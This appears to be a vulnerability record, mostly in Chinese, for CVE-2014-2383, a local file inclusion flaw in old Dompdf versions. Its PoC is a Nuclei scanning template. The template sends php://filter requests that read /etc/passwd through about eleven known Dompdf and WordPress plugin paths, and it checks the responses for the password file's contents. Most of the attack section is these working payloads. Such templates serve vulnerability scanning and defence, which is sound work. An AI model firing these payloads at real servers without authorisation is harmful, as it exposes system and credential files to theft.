Dompdf < v060 - Local File Inclusion

漏洞信息

漏洞名称： Dompdf < v0.6.0 - Local File Inclusion

漏洞编号：

• CVE： CVE-2014-2383

漏洞类型： 文件读取

漏洞等级： 中危

漏洞描述： Dompdf是一个开源的PHP库，用于将HTML文档转换为PDF文件。它广泛应用于各种Web应用程序中，特别是那些需要动态生成PDF报告或文档的系统。由于其易用性和灵活性，Dompdf在WordPress插件和其他内容管理系统中尤为常见。该漏洞存在于Dompdf的dompdf.php文件中，当DOMPDF_ENABLE_PHP设置被启用时，攻击者可以利用PHP协议和包装器绕过chroot保护，通过input_file参数读取服务器上的任意文件。这种漏洞的技术根源在于不充分的输入验证，允许攻击者通过构造特殊的请求参数（如php://filter/read=convert.base64-encode/resource）来访问敏感文件。此漏洞可能导致敏感信息泄露，如系统文件/etc/passwd的内容，进而可能被用于进一步的攻击。由于攻击者无需认证即可利用此漏洞，因此风险较高。

产品厂商： dompdf

产品名称： dompdf

影响版本： version < 0.6.1

来源： https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fcves%2F2014%2FCVE-2014-2383.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2014-2383

info:
  name: Dompdf < v0.6.0 - Local File Inclusion
  author: 0x_Akoko,akincibor,ritikchaddha
  severity: medium
  description: |
    A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the affected system.
  remediation: |
    Upgrade Dompdf to a version higher than v0.6.0 to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33004
    - http://seclists.org/fulldisclosure/2014/Apr/258
    - https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/
    - https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582
    - https://nvd.nist.gov/vuln/detail/CVE-2014-2383
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2014-2383
    cwe-id: CWE-200
    epss-score: 0.52280
    epss-percentile: 0.97785
    cpe: cpe:2.3:a:dompdf:dompdf:*:beta3:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 13
    vendor: dompdf
    product: dompdf
  tags: cve2014,cve,lfi,wp-plugin,wpscan,dompdf,wordpress,wp,edb,seclists

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/dompdf.php"
      - "{{BaseURL}}/wp-content/plugins/"

    stop-at-first-match: true
    matchers:
      - type: word
        words:
          - "dompdf"
          - "WordPress"
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"

    payloads:
      paths:
        - "/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd"
        - "/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/pdf"
          - 'filename="dompdf_out.pdf"'
        condition: and

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402200d588a66dd16d08eec1241a48a8099b9e40f52d7771e2c37f4fe7c76a37f2e2d0220493dfa0406e2340c7ccd1ab9f40fc66b8475b6b65d568f5eb329e2b35bf54200:922c64590222798bb761d5b6d8e72950